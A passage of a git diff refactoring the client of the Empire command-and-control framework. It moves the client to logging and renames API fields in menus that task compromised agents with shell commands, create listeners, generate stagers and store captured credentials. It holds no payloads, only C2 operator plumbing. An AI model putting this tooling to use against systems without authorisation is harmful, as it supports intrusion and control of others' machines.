]
"""
@@ -97,17 +94,17 @@ def add(self, position: int) -> None:
self.proxy_list.insert(
int(position),
{
- "proxytype": self.record_options["Proxy_Type"]["Value"],
- "addr": self.record_options["Address"]["Value"],
- "port": int(self.record_options["Port"]["Value"]),
+ "proxytype": self.record_options["proxy_type"]["value"],
+ "addr": self.record_options["address"]["value"],
+ "port": int(self.record_options["port"]["value"]),
},
)
else:
self.proxy_list.append(
{
- "proxytype": self.record_options["Proxy_Type"]["Value"],
- "addr": self.record_options["Address"]["Value"],
- "port": int(self.record_options["Port"]["Value"]),
+ "proxytype": self.record_options["proxy_type"]["value"],
+ "addr": self.record_options["address"]["value"],
+ "port": int(self.record_options["port"]["value"]),
}
)
@@ -138,10 +135,10 @@ def execute(self) -> None:
Usage: execute
"""
if self.proxy_list:
- response = state.update_agent_proxy(self.session_id, self.proxy_list)
- print(print_util.color(f"[*] Tasked agent to update proxy chain"))
+ state.update_agent_proxy(self.session_id, self.proxy_list)
+ log.info("Tasked agent to update proxy chain")
else:
- print(print_util.color(f"[!] No proxy chain to configure"))
+ log.error("No proxy chain to configure")
@command
def list(self) -> None:
@@ -165,29 +162,10 @@ def list(self) -> None:
table_util.print_table(proxies, "Active Proxies")
- @command
- def options(self):
- """
- Print the current record options
-
- Usage: options
- """
- record_list = []
- for key, value in self.record_options.items():
- name = key
- record_value = print_util.text_wrap(value.get("Value", ""))
- required = print_util.text_wrap(value.get("Required", ""))
- description = print_util.text_wrap(value.get("Description", ""))
- record_list.append([name, record_value, required, description])
-
- record_list.insert(0, ["Name", "Value", "Required", "Description"])
-
- table_util.print_table(record_list, "Record Options")
-
def suggested_values_for_option(self, option: str) -> List[str]:
try:
lower = {k.lower(): v for k, v in self.record_options.items()}
- return lower.get(option, {}).get("SuggestedValues", [])
+ return lower.get(option, {}).get("suggested_values", [])
except AttributeError:
return []
diff --git a/empire/client/src/menus/ShellMenu.py b/empire/client/src/menus/ShellMenu.py
index 6edb3d26f..62555ff60 100644
--- a/empire/client/src/menus/ShellMenu.py
+++ b/empire/client/src/menus/ShellMenu.py
@@ -1,12 +1,14 @@
+import logging
import threading
import time
from empire.client.src.EmpireCliState import state
from empire.client.src.menus.Menu import Menu
from empire.client.src.utils import print_util
-from empire.client.src.utils.autocomplete_util import position_util
from empire.client.src.utils.cli_util import register_cli_commands
+log = logging.getLogger(__name__)
+
@register_cli_commands
class ShellMenu(Menu):
@@ -18,10 +20,9 @@ def autocomplete(self):
return self._cmd_registry + super().autocomplete()
def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
- if position_util(cmd_line, 1, word_before_cursor):
- yield from super().get_completions(
- document, complete_event, cmd_line, word_before_cursor
- )
+ yield from super().get_completions(
+ document, complete_event, cmd_line, word_before_cursor
+ )
def on_enter(self, **kwargs) -> bool:
if "selected" not in kwargs:
@@ -29,7 +30,7 @@ def on_enter(self, **kwargs) -> bool:
else:
self.use(kwargs["selected"])
self.stop_threads = False
- print(print_util.color("[*] Exit Shell Menu with Ctrl+C"))
+ log.info("Exit Shell Menu with Ctrl+C")
return True
def on_leave(self):
@@ -58,17 +59,13 @@ def update_directory(self, session_id: str):
Update current directory
"""
if self.language == "powershell":
- task_id: int = state.agent_shell(session_id, "(Resolve-Path .\).Path")[
- "taskID"
- ]
+ task_id: int = state.agent_shell(session_id, "(Resolve-Path .\).Path")["id"]
elif self.language == "python":
- task_id: int = state.agent_shell(session_id, "echo $PWD")["taskID"]
+ task_id: int = state.agent_shell(session_id, "echo $PWD")["id"]
elif self.language == "ironpython":
- task_id: int = state.agent_shell(session_id, "cd .")["taskID"]
+ task_id: int = state.agent_shell(session_id, "cd .")["id"]
elif self.language == "csharp":
- task_id: int = state.agent_shell(session_id, "(Resolve-Path .\).Path")[
- "taskID"
- ]
+ task_id: int = state.agent_shell(session_id, "(Resolve-Path .\).Path")["id"]
pass
count = 0
@@ -99,7 +96,7 @@ def shell(self, agent_name: str, shell_cmd: str):
shell_return.start()
else:
shell_return = threading.Thread(
- target=self.tasking_id_returns, args=[response["taskID"]]
+ target=self.tasking_id_returns, args=[response["id"]]
)
shell_return.daemon = True
shell_return.start()
diff --git a/empire/client/src/menus/SponsorsMenu.py b/empire/client/src/menus/SponsorsMenu.py
index f9b9275cd..3d2c0bf73 100644
--- a/empire/client/src/menus/SponsorsMenu.py
+++ b/empire/client/src/menus/SponsorsMenu.py
@@ -1,9 +1,4 @@
-from prompt_toolkit import HTML
-
-from empire.client.src.EmpireCliState import state
from empire.client.src.menus.Menu import Menu
-from empire.client.src.utils import table_util
-from empire.client.src.utils.autocomplete_util import position_util
from empire.client.src.utils.cli_util import command, register_cli_commands
from empire.client.src.utils.print_util import color
@@ -17,10 +12,9 @@ def autocomplete(self):
return self._cmd_registry + super().autocomplete()
def get_completions(self, document, complete_event, cmd_line, word_before_cursor):
- if position_util(cmd_line, 1, word_before_cursor):
- yield from super().get_completions(
- document, complete_event, cmd_line, word_before_cursor
- )
+ yield from super().get_completions(
+ document, complete_event, cmd_line, word_before_cursor
+ )
def on_enter(self):
self.list()
diff --git a/empire/client/src/menus/UseCredentialMenu.py b/empire/client/src/menus/UseCredentialMenu.py
index 916c6a2b6..8474763ca 100644
--- a/empire/client/src/menus/UseCredentialMenu.py
+++ b/empire/client/src/menus/UseCredentialMenu.py
@@ -1,3 +1,5 @@
+import logging
+
from prompt_toolkit import HTML
from prompt_toolkit.completion import Completion
@@ -10,6 +12,8 @@
)
from empire.client.src.utils.cli_util import command, register_cli_commands
+log = logging.getLogger(__name__)
+
@register_cli_commands
class UseCredentialMenu(UseMenu):
@@ -35,7 +39,7 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor
)
yield Completion(
cred,
- display=HTML(f"{full['ID']} ({help_text})"),
+ display=HTML(f"{full['id']} ({help_text})"),
start_position=-len(word_before_cursor),
)
yield Completion("add", start_position=-len(word_before_cursor))
@@ -51,10 +55,10 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor
word_before_cursor, ["plaintext", "hash"]
):
yield Completion(option, start_position=-len(word_before_cursor))
- else:
- yield from super().get_completions(
- document, complete_event, cmd_line, word_before_cursor
- )
+
+ yield from super().get_completions(
+ document, complete_event, cmd_line, word_before_cursor
+ )
def on_enter(self, **kwargs) -> bool:
self.selected = kwargs["selected"]
@@ -71,18 +75,17 @@ def on_enter(self, **kwargs) -> bool:
"password": {"Value": "", "Required": "True"},
"sid": {"Value": "", "Required": "False"},
"os": {"Value": "", "Required": "False"},
- "notes": {"Value": "", "Required": "False"},
}
else:
temp = state.get_credential(self.selected)
self.record_options = {}
for key, val in temp.items():
self.record_options[key] = {
- "Value": val,
- "Required": "False" if key in ["sid", "os", "notes"] else "True",
- "Description": "",
+ "value": val,
+ "required": "False" if key in ["sid", "os"] else "True",
+ "description": "",
}
- del self.record_options["ID"]
+ del self.record_options["id"]
self.options()
return True
@@ -106,37 +109,21 @@ def execute(self):
for key, val in self.record_options.items():
temp[key] = val["Value"]
response = state.add_credential(temp)
- if "ID" in response.keys():
- print(
- print_util.color(
- f'[*] Credential {response["ID"]} successfully added'
- )
- )
+ if "id" in response.keys():
+ log.info(f'Credential {response["id"]} successfully added')
state.get_credentials()
- elif "error" in response.keys():
- if response["error"].startswith("[!]"):
- msg = response["error"]
- else:
- msg = f"[!] Error: {response['error']}"
- print(print_util.color(msg))
+ elif "detail" in response.keys():
+ log.error(response["detail"])
else:
temp = {}
for key, val in self.record_options.items():
- temp[key] = val["Value"]
+ temp[key] = val["value"]
response = state.edit_credential(self.selected, temp)
- if "ID" in response.keys():
- print(
- print_util.color(
- f'[*] Credential {response["ID"]} successfully updated'
- )
- )
+ if "id" in response:
+ log.info(f'Credential {response["id"]} successfully updated')
state.get_credentials()
- elif "error" in response.keys():
- if response["error"].startswith("[!]"):
- msg = response["error"]
- else:
- msg = f"[!] Error: {response['error']}"
- print(print_util.color(msg))
+ elif "detail" in response:
+ log.error(response["detail"])
@command
def generate(self):
diff --git a/empire/client/src/menus/UseListenerMenu.py b/empire/client/src/menus/UseListenerMenu.py
index 8898711f0..521e6d540 100644
--- a/empire/client/src/menus/UseListenerMenu.py
+++ b/empire/client/src/menus/UseListenerMenu.py
@@ -1,14 +1,17 @@
+import logging
+
from prompt_toolkit.completion import Completion
from empire.client.src.EmpireCliState import state
from empire.client.src.menus.UseMenu import UseMenu
-from empire.client.src.utils import print_util
from empire.client.src.utils.autocomplete_util import (
filtered_search_list,
position_util,
)
from empire.client.src.utils.cli_util import command, register_cli_commands
+log = logging.getLogger(__name__)
+
@register_cli_commands
class UseListenerMenu(UseMenu):
@@ -28,10 +31,10 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor
word_before_cursor, sorted(state.listener_types)
):
yield Completion(listener, start_position=-len(word_before_cursor))
- else:
- yield from super().get_completions(
- document, complete_event, cmd_line, word_before_cursor
- )
+
+ yield from super().get_completions(
+ document, complete_event, cmd_line, word_before_cursor
+ )
def on_enter(self, **kwargs) -> bool:
if "selected" not in kwargs:
@@ -50,11 +53,8 @@ def use(self, module: str) -> None:
"""
if module in state.listener_types:
self.selected = module
- # TODO: Add API endpoint for listener info
- self.record = state.get_listener_options(self.selected)["listenerinfo"]
- self.record_options = state.get_listener_options(self.selected)[
- "listeneroptions"
- ]
+ self.record = state.get_listener_options(self.selected)
+ self.record_options = self.record["options"]
@command
def execute(self):
@@ -67,20 +67,19 @@ def execute(self):
# todo alias start to execute and generate
# Hopefully this will force us to provide more info in api errors ;)
post_body = {}
+ temp_record = {}
for key, value in self.record_options.items():
- post_body[key] = self.record_options[key]["Value"]
+ post_body[key] = self.record_options[key]["value"]
- # Validate options before generating listener, used specifically for onedrive listener AuthCode
- validate_response = state.validate_listener(self.selected, post_body)
- if "error" in validate_response.keys():
- print(print_util.color("[!] Error: " + validate_response["error"]))
- return
+ temp_record["options"] = post_body
+ temp_record["name"] = post_body["Name"]
+ temp_record["template"] = self.record["id"]
- response = state.create_listener(self.selected, post_body)
- if "success" in response.keys():
+ response = state.create_listener(temp_record)
+ if "id" in response.keys():
return
- elif "error" in response.keys():
- print(print_util.color("[!] Error: " + response["error"]))
+ elif "detail" in response.keys():
+ log.error(response["detail"])
@command
def generate(self):
diff --git a/empire/client/src/menus/UseMenu.py b/empire/client/src/menus/UseMenu.py
index 206a20568..e6c6a89d9 100644
--- a/empire/client/src/menus/UseMenu.py
+++ b/empire/client/src/menus/UseMenu.py
@@ -1,3 +1,4 @@
+import logging
from typing import List
from prompt_toolkit import HTML
@@ -14,6 +15,8 @@
)
from empire.client.src.utils.cli_util import command
+log = logging.getLogger(__name__)
+
class UseMenu(Menu):
"""
@@ -74,7 +77,7 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor
word_before_cursor, state.agents.keys()
):
yield Completion(agent, start_position=-len(word_before_cursor))
- if len(cmd_line) > 1 and cmd_line[1] == "file":
+ if len(cmd_line) > 1 and cmd_line[1].lower() == "file":
if len(cmd_line) > 2 and cmd_line[2] == "-p":
file = state.search_files()
if file:
@@ -99,7 +102,7 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor
)
yield Completion(
cred,
- display=HTML(f"{full['ID']} ({help_text})"),
+ display=HTML(f"{full['id']} ({help_text})"),
start_position=-len(word_before_cursor),
)
if (
@@ -112,10 +115,10 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor
yield Completion(
suggested_value, start_position=-len(word_before_cursor)
)
- elif position_util(cmd_line, 1, word_before_cursor):
- yield from super().get_completions(
- document, complete_event, cmd_line, word_before_cursor
- )
+
+ yield from super().get_completions(
+ document, complete_event, cmd_line, word_before_cursor
+ )
@command
def set(self, key: str, value: str):
@@ -130,10 +133,10 @@ def set(self, key: str, value: str):
if value.startswith('"') and value.endswith('"'):
value = value[1:-1]
if key in self.record_options:
- self.record_options[key]["Value"] = value
- print(print_util.color("[*] Set %s to %s" % (key, value)))
+ self.record_options[key]["value"] = value
+ log.info("Set %s to %s" % (key, value))
else:
- print(print_util.color(f"Could not find field: {key}"))
+ log.error(f"Could not find field: {key}")
@command
def unset(self, key: str):
@@ -144,9 +147,9 @@ def unset(self, key: str):
"""
if key in self.record_options:
self.record_options[key]["Value"] = ""
- print(print_util.color("[*] Unset %s" % key))
+ log.info("[*] Unset %s" % key)
else:
- print(print_util.color(f"Could not find field: {key}"))
+ log.error(f"Could not find field: {key}")
@command
def options(self):
@@ -158,9 +161,9 @@ def options(self):
record_list = []
for key, value in self.record_options.items():
name = key
- record_value = print_util.text_wrap(value.get("Value", ""))
- required = print_util.text_wrap(value.get("Required", ""))
- description = print_util.text_wrap(value.get("Description", ""))
+ record_value = print_util.text_wrap(value.get("value", ""))
+ required = print_util.text_wrap(value.get("required", ""))
+ description = print_util.text_wrap(value.get("description", ""))
record_list.append([name, record_value, required, description])
record_list.insert(0, ["Name", "Value", "Required", "Description"])
@@ -169,7 +172,7 @@ def options(self):
@command
def info(self):
- """ "
+ """
Print default info on the current record.
Usage: info
@@ -178,22 +181,40 @@ def info(self):
for key, values in self.record.items():
if key in [
- "Name",
- "Author",
- "Comments",
- "Description",
- "Language",
- "Background",
- "NeedsAdmin",
- "OpsecSafe",
- "Techniques",
- "Software",
+ "id",
+ "authors",
+ "comments",
+ "description",
+ "language",
+ "background",
+ "needs_admin",
+ "opsec_safe",
+ "techniques",
+ "software",
+ "tactics",
+ "category",
]:
if isinstance(values, list):
if len(values) > 0 and values[0] != "":
for i, value in enumerate(values):
- if key == "Techniques":
- value = "http://attack.mitre.org/techniques/" + value
+ if key == "techniques":
+ if "." in value:
+ value = value.split(".")
+ value = (
+ "http://attack.mitre.org/techniques/"
+ + value[0]
+ + "/"
+ + value[1]
+ )
+ else:
+ value = (
+ "http://attack.mitre.org/techniques/" + value
+ )
+ elif key == "tactics":
+ value = "http://attack.mitre.org/tactics/" + value
+ elif key == "authors":
+ value = f"{value['name']}, {value['handle']}, {value['link']}"
+
if i == 0:
record_list.append(
[
@@ -206,7 +227,7 @@ def info(self):
["", print_util.text_wrap(value, width=70)]
)
elif values != "":
- if key == "Software":
+ if key == "software":
values = "http://attack.mitre.org/software/" + values
record_list.append(
@@ -223,6 +244,6 @@ def info(self):
def suggested_values_for_option(self, option: str) -> List[str]:
try:
lower = {k.lower(): v for k, v in self.record_options.items()}
- return lower.get(option, {}).get("SuggestedValues", [])
+ return lower.get(option, {}).get("suggested_values", [])
except AttributeError:
return []
diff --git a/empire/client/src/menus/UseModuleMenu.py b/empire/client/src/menus/UseModuleMenu.py
index 03e213d11..dc584c6eb 100644
--- a/empire/client/src/menus/UseModuleMenu.py
+++ b/empire/client/src/menus/UseModuleMenu.py
@@ -1,4 +1,4 @@
-import base64
+import logging
import pathlib
from prompt_toolkit.completion import Completion
@@ -6,7 +6,6 @@
from empire.client.src.EmpireCliState import state
from empire.client.src.menus.UseMenu import UseMenu
from empire.client.src.MenuState import menu_state
-from empire.client.src.utils import print_util
from empire.client.src.utils.autocomplete_util import (
filtered_search_list,
position_util,
@@ -14,6 +13,8 @@
from empire.client.src.utils.cli_util import command, register_cli_commands
from empire.client.src.utils.data_util import get_data_from_file
+log = logging.getLogger(__name__)
+
@register_cli_commands
class UseModuleMenu(UseMenu):
@@ -34,10 +35,10 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor
word_before_cursor, state.modules.keys()
):
yield Completion(module, start_position=-len(word_before_cursor))
- else:
- yield from super().get_completions(
- document, complete_event, cmd_line, word_before_cursor
- )
+
+ yield from super().get_completions(
+ document, complete_event, cmd_line, word_before_cursor
+ )
def on_enter(self, **kwargs) -> bool:
if "selected" not in kwargs:
@@ -78,61 +79,60 @@ def execute(self):
# Find file then upload to server
if "File" in self.record_options:
# if a full path upload to server, else use file from download directory
- if pathlib.Path(self.record_options["File"]["Value"]).is_file():
+ if pathlib.Path(self.record_options["File"]["value"]).is_file():
try:
- file_directory = self.record_options["File"]["Value"]
+ file_directory = self.record_options["File"]["value"]
filename = file_directory.split("/")[-1]
- self.record_options["File"]["Value"] = filename
-
+ self.record_options["File"]["value"] = filename
data = get_data_from_file(file_directory)
- except:
- print(
- print_util.color(
- "[!] Error: Invalid filename or file does not exist"
- )
- )
+ except Exception:
+ log.error("Invalid filename or file does not exist")
return
response = state.upload_file(filename, data)
- if "success" in response.keys():
- print(print_util.color("[+] File uploaded to server successfully"))
+ if "id" in response.keys():
+ log.info("File uploaded to server successfully")
- elif "error" in response.keys():
- if response["error"].startswith("[!]"):
- msg = response["error"]
+ elif "detail" in response.keys():
+ if response["detail"].startswith("[!]"):
+ log.info(response["detail"])
else:
- msg = f"[!] Error: {response['error']}"
- print(print_util.color(msg))
+ log.error(response["detail"])
# Save copy off to downloads folder so last value points to the correct file
- data = base64.b64decode(data.encode("UTF-8"))
with open(f"{state.directory['downloads']}{filename}", "wb+") as f:
f.write(data)
- post_body = {}
+ post_body = {"options": {}}
+
for key, value in self.record_options.items():
- post_body[key] = self.record_options[key]["Value"]
-
- response = state.execute_module(self.selected, post_body)
- if "success" in response.keys():
- if "Agent" in post_body.keys():
- print(
- print_util.color(
- "[*] Tasked "
- + self.record_options["Agent"]["Value"]
+ post_body["options"][key] = self.record_options[key]["value"]
+
+ post_body["module_id"] = self.record["id"]
+
+ try:
+ if self.record_options["Agent"]["value"] == "":
+ log.error("Agent not set")
+ return
+ response = state.execute_module(
+ self.record_options["Agent"]["value"], post_body
+ )
+ if "status" in response.keys():
+ if "Agent" in post_body["options"].keys():
+ log.info(
+ "Tasked "
+ + self.record_options["Agent"]["value"]
+ " to run Task "
- + str(response["taskID"])
+ + str(response["id"])
)
- )
- menu_state.pop()
- else:
- print(print_util.color("[*] " + str(response["msg"])))
-
- elif "error" in response.keys():
- if response["error"].startswith("[!]"):
- msg = response["error"]
- else:
- msg = f"[!] Error: {response['error']}"
- print(print_util.color(msg))
+ menu_state.pop()
+
+ elif "detail" in response.keys():
+ if response["detail"].startswith("[!]"):
+ log.info(response["detail"])
+ else:
+ log.error(response["detail"])
+ except Exception as e:
+ log.error(e)
@command
def generate(self):
diff --git a/empire/client/src/menus/UsePluginMenu.py b/empire/client/src/menus/UsePluginMenu.py
index 00fce9856..9fe1e7400 100644
--- a/empire/client/src/menus/UsePluginMenu.py
+++ b/empire/client/src/menus/UsePluginMenu.py
@@ -1,3 +1,4 @@
+import logging
from typing import Dict
from prompt_toolkit.completion import Completion
@@ -11,6 +12,8 @@
)
from empire.client.src.utils.cli_util import command, register_cli_commands
+log = logging.getLogger(__name__)
+
@register_cli_commands
class UsePluginMenu(UseMenu):
@@ -28,10 +31,10 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor
word_before_cursor, state.plugins.keys()
):
yield Completion(plugin, start_position=-len(word_before_cursor))
- else:
- yield from super().get_completions(
- document, complete_event, cmd_line, word_before_cursor
- )
+
+ yield from super().get_completions(
+ document, complete_event, cmd_line, word_before_cursor
+ )
def on_enter(self, **kwargs) -> bool:
if "selected" not in kwargs:
@@ -73,12 +76,13 @@ def execute(self):
Usage: execute
"""
post_body = {}
+ post_body["options"] = {}
for key, value in self.record_options.items():
- post_body[key] = self.record_options[key]["Value"]
+ post_body["options"][key] = self.record_options[key]["value"]
- response = state.execute_plugin(self.selected, post_body)
- if isinstance(response, Dict) and "error" in response:
- print(print_util.color(response["error"]))
+ response = state.execute_plugin(self.record["id"], post_body)
+ if isinstance(response, Dict) and "detail" in response:
+ print(print_util.color(response["detail"]))
@command
def generate(self):
diff --git a/empire/client/src/menus/UseStagerMenu.py b/empire/client/src/menus/UseStagerMenu.py
index 57f4b9c01..3bcfba55b 100644
--- a/empire/client/src/menus/UseStagerMenu.py
+++ b/empire/client/src/menus/UseStagerMenu.py
@@ -1,4 +1,4 @@
-import base64
+import logging
import os
import textwrap
@@ -8,12 +8,14 @@
from empire.client.src.EmpireCliConfig import empire_config
from empire.client.src.EmpireCliState import state
from empire.client.src.menus.UseMenu import UseMenu
-from empire.client.src.utils import print_util
from empire.client.src.utils.autocomplete_util import (
filtered_search_list,
position_util,
)
from empire.client.src.utils.cli_util import command, register_cli_commands
+from empire.client.src.utils.data_util import get_random_string
+
+log = logging.getLogger(__name__)
@register_cli_commands
@@ -34,10 +36,10 @@ def get_completions(self, document, complete_event, cmd_line, word_before_cursor
word_before_cursor, state.stagers.keys()
):
yield Completion(stager, start_position=-len(word_before_cursor))
- else:
- yield from super().get_completions(
- document, complete_event, cmd_line, word_before_cursor
- )
+
+ yield from super().get_completions(
+ document, complete_event, cmd_line, word_before_cursor
+ )
def on_enter(self, **kwargs) -> bool:
if "selected" not in kwargs:
@@ -82,37 +84,40 @@ def execute(self):
# todo validation and error handling
# Hopefully this will force us to provide more info in api errors ;)
post_body = {}
+ temp_record = {}
for key, value in self.record_options.items():
- post_body[key] = self.record_options[key]["Value"]
+ post_body[key] = self.record_options[key]["value"]
+
+ temp_record["options"] = post_body
+ temp_record["name"] = get_random_string(10)
+ temp_record["template"] = self.record["id"]
- response = state.create_stager(self.selected, post_body)
+ response = state.create_stager(temp_record)
- if "error" in response:
- print(print_util.color("[!] Error: " + response["error"]))
+ if "detail" in response:
+ log.error(response["detail"])
return
- elif response[self.selected].get("OutFile", {}).get("Value"):
- if response[self.selected].get("Output", "") == "":
+ elif response.get("options").get("OutFile"):
+ stager_data = state.download_stager(response["downloads"][0]["link"])
+ if stager_data == "":
# todo stagers endpoint needs to give modules a way to return errors better.
# This says if the output is empty then something must have gone wrong.
- print(print_util.color("[!] Stager output empty."))
+ log.error("Stager output empty")
return
- file_name = (
- response[self.selected].get("OutFile").get("Value").split("/")[-1]
- )
- output_bytes = base64.b64decode(response[self.selected]["Output"])
+ file_name = response["downloads"][0]["filename"]
+ # output_bytes = base64.b64decode(response[self.selected]["Output"])
directory = f"{state.directory['generated-stagers']}{file_name}"
with open(directory, "wb") as f:
- f.write(output_bytes)
- print(
- print_util.color(
- f"[+] {file_name} written to {os.path.abspath(directory)}"
- )
- )
+ f.write(stager_data)
+ log.info(f"{file_name} written to {os.path.abspath(directory)}")
else:
- print(print_util.color(response[self.selected]["Output"]))
+ stager_data = state.download_stager(
+ response["downloads"][0]["link"]
+ ).decode("UTF-8")
+ print(stager_data)
if empire_config.yaml.get("auto-copy-stagers", {}):
- print(print_util.color(f"[+] Stager copied to clipboard."))
- pyperclip.copy(response[self.selected]["Output"])
+ log.info("Stager copied to clipboard")
+ pyperclip.copy(stager_data)
@command
def generate(self):
diff --git a/empire/client/src/utils/data_util.py b/empire/client/src/utils/data_util.py
index 0318cca3f..79f3a803c 100644
--- a/empire/client/src/utils/data_util.py
+++ b/empire/client/src/utils/data_util.py
@@ -1,4 +1,5 @@
-import base64
+import random
+import string
def get_data_from_file(file_path: str):
@@ -7,7 +8,18 @@ def get_data_from_file(file_path: str):
"""
if file_path:
with open(file_path, "rb") as stream:
- file_data = stream.read()
+ data = stream.read()
- data = base64.b64encode(file_data).decode("utf-8")
return data
+
+
+def get_random_string(length=-1, charset=string.ascii_letters):
+ """
+ Returns a random string of "length" characters.
+ If no length is specified, resulting string is in between 6 and 15 characters.
+ A character set can be specified, defaulting to just alpha letters.
+ """
+ if length == -1:
+ length = random.randrange(6, 16)
+ random_string = "".join(random.choice(charset) for x in range(length))
+ return random_string
diff --git a/empire/client/src/utils/log_util.py b/empire/client/src/utils/log_util.py
new file mode 100644
index 000000000..3bb844510
--- /dev/null
+++ b/empire/client/src/utils/log_util.py
@@ -0,0 +1,33 @@
+import logging
+
+
+class MyFormatter(logging.Formatter):
+ def format(self, record):
+ color = {
+ logging.INFO: 34,
+ logging.WARNING: 33,
+ logging.ERROR: 31,
+ logging.FATAL: 31,
+ logging.DEBUG: 36,
+ }.get(record.levelno, 0)
+ self._style._fmt = f"\x1b[1;{color}m%(levelname)s: %(message)s\x1b[0m "
+ return super().format(record)
+
+
+class FileFormatter(logging.Formatter):
+ def format(self, record):
+ # Check if coloring is applied and remove it
+ if "\x1b" in record.msg:
+ record.msg = record.msg.replace("\x1b[1;31m", "")
+ record.msg = record.msg.replace("\x1b[1;32m", "")
+ record.msg = record.msg.replace("\x1b[1;33m", "")
+ record.msg = record.msg.replace("\x1b[1;34m", "")
+ record.msg = record.msg.replace("\x1b(0l\x1b(B", "")
+ record.msg = record.msg.replace("\x1b(0x\x1b(B", "")
+ record.msg = record.msg.replace("\x1b[0m", "")
+ if "\n" in record.msg:
+ record.msg = "\n" + record.msg
+ self._style._fmt = (
+ "%(asctime)s [%(filename)s:%(lineno)d] [%(levelname)s]: %(message)s "
+ )
+ return super().format(record)
diff --git a/empire/client/src/utils/print_util.py b/empire/client/src/utils/print_util.py
index 9d5df79bf..5b7cf53ea 100644
--- a/empire/client/src/utils/print_util.py
+++ b/empire/client/src/utils/print_util.py
@@ -1,7 +1,8 @@
-import os
import textwrap
import time
+from prompt_toolkit import shortcuts
+
def color(string_name, color_name=None):
"""
@@ -54,7 +55,7 @@ def title(version, modules, listeners, agents):
"""
Print the tool title, with version.
"""
- os.system("clear")
+ shortcuts.clear()
print(
"========================================================================================"
)
@@ -83,20 +84,24 @@ def title(version, modules, listeners, agents):
)
print(
"""
- _______ ___ ___ ______ __ ______ _______
- | ____| | \/ | | _ \ | | | _ \ | ____|
- | |__ | \ / | | |_) | | | | |_) | | |__
- | __| | |\/| | | ___/ | | | / | __|
- | |____ | | | | | | | | | |\ \----. | |____
- |_______| |__| |__| | _| |__| | _| `._____| |_______|
+ ███████╗███╗ ███╗██████╗ ██╗██████╗ ███████╗
+ ██╔════╝████╗ ████║██╔══██╗██║██╔══██╗ ██╔════╝
+ █████╗ ██╔████╔██║██████╔╝██║██████╔╝ █████╗
+ ██╔══╝ ██║╚██╔╝██║██╔═══╝ ██║██╔══██╗ ██╔══╝
+ ███████╗██║ ╚═╝ ██║██║ ██║██║ █████║███████╗
+ ╚══════╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚════╝╚══════╝
"""
)
- print(" " + color(str(modules), "green") + " modules currently loaded")
+ print(" " + color(str(modules), "green") + " modules currently loaded")
print("")
- print(" " + color(str(listeners), "green") + " listeners currently active")
+ print(
+ " "
+ + color(str(listeners), "green")
+ + " listeners currently active"
+ )
print("")
- print(" " + color(str(agents), "green") + " agents currently active")
+ print(" " + color(str(agents), "green") + " agents currently active")
print("")
@@ -106,49 +111,57 @@ def loading():
"""
print(
- """
- `````````
- ``````.--::///+
- ````-+sydmmmNNNNNNN
- ``./ymmNNNNNNNNNNNNNN
- ``-ymmNNNNNNNNNNNNNNNNN
- ```ommmmNNNNNNNNNNNNNNNNN
- ``.ydmNNNNNNNNNNNNNNNNNNNN
- ```odmmNNNNNNNNNNNNNNNNNNNN
- ```/hmmmNNNNNNNNNNNNNNNNMNNN
- ````+hmmmNNNNNNNNNNNNNNNNNMMN
- ````..ymmmNNNNNNNNNNNNNNNNNNNN
- ````:.+so+//:---.......----::-
- `````.`````````....----:///++++
- ``````.-/osy+////:::---...-dNNNN
- ````:sdyyydy` ```:mNNNNM
- ````-hmmdhdmm:` ``.+hNNNNNNM
- ```.odNNmdmmNNo````.:+yNNNNNNNNNN
- ```-sNNNmdh/dNNhhdNNNNNNNNNNNNNNN
- ```-hNNNmNo::mNNNNNNNNNNNNNNNNNNN
- ```-hNNmdNo--/dNNNNNNNNNNNNNNNNNN
- ````:dNmmdmd-:+NNNNNNNNNNNNNNNNNNm
- ```/hNNmmddmd+mNNNNNNNNNNNNNNds++o
- ``/dNNNNNmmmmmmmNNNNNNNNNNNmdoosydd
- `sNNNNdyydNNNNmmmmmmNNNNNmyoymNNNNN
- :NNmmmdso++dNNNNmmNNNNNdhymNNNNNNNN
- -NmdmmNNdsyohNNNNmmNNNNNNNNNNNNNNNN
- `sdhmmNNNNdyhdNNNNNNNNNNNNNNNNNNNNN
- /yhmNNmmNNNNNNNNNNNNNNNNNNNNNNmhh
- `+yhmmNNNNNNNNNNNNNNNNNNNNNNmh+:
- `./dmmmmNNNNNNNNNNNNNNNNmmd.
- `ommmmmNNNNNNNmNmNNNNmmd:
- :dmmmmNNNNNmh../oyhhhy:
- `sdmmmmNNNmmh/++-.+oh.
- `/dmmmmmmmmdo-:/ossd:
- `/ohhdmmmmmmdddddmh/
- `-/osyhdddddhyo:
- ``.----.`
-
- Welcome to the Empire"""
+ """\x1b[1;1m
+ `````````
+ ``````.--::///+
+ ````-+sydmmmNNNNNNN
+ ``./ymmNNNNNNNNNNNNNN
+ ``-ymmNNNNNNNNNNNNNNNNN
+ ```ommmmNNNNNNNNNNNNNNNNN
+ ``.ydmNNNNNNNNNNNNNNNNNNNN
+ ```odmmNNNNNNNNNNNNNNNNNNNN
+ ```/hmmmNNNNNNNNNNNNNNNNMNNN
+ ````+hmmmNNNNNNNNNNNNNNNNNMMN
+ ````..ymmmNNNNNNNNNNNNNNNNNNNN
+ ````:.+so+//:---.......----::-
+ `````.`````````....----:///++++
+ ``````.-/osy+////:::---...-dNNNN
+ ````:sdyyydy` ```:mNNNNM
+ ````-hmmdhdmm:` ``.+hNNNNNNM
+ ```.odNNmdmmNNo````.:+yNNNNNNNNNN
+ ```-sNNNmdh/dNNhhdNNNNNNNNNNNNNNN
+ ```-hNNNmNo::mNNNNNNNNNNNNNNNNNNN
+ ```-hNNmdNo--/dNNNNNNNNNNNNNNNNNN
+ ````:dNmmdmd-:+NNNNNNNNNNNNNNNNNNm
+ ```/hNNmmddmd+mNNNNNNNNNNNNNNds++o
+ ``/dNNNNNmmmmmmmNNNNNNNNNNNmdoosydd
+ `sNNNNdyydNNNNmmmmmmNNNNNmyoymNNNNN
+ :NNmmmdso++dNNNNmmNNNNNdhymNNNNNNNN
+ -NmdmmNNdsyohNNNNmmNNNNNNNNNNNNNNNN
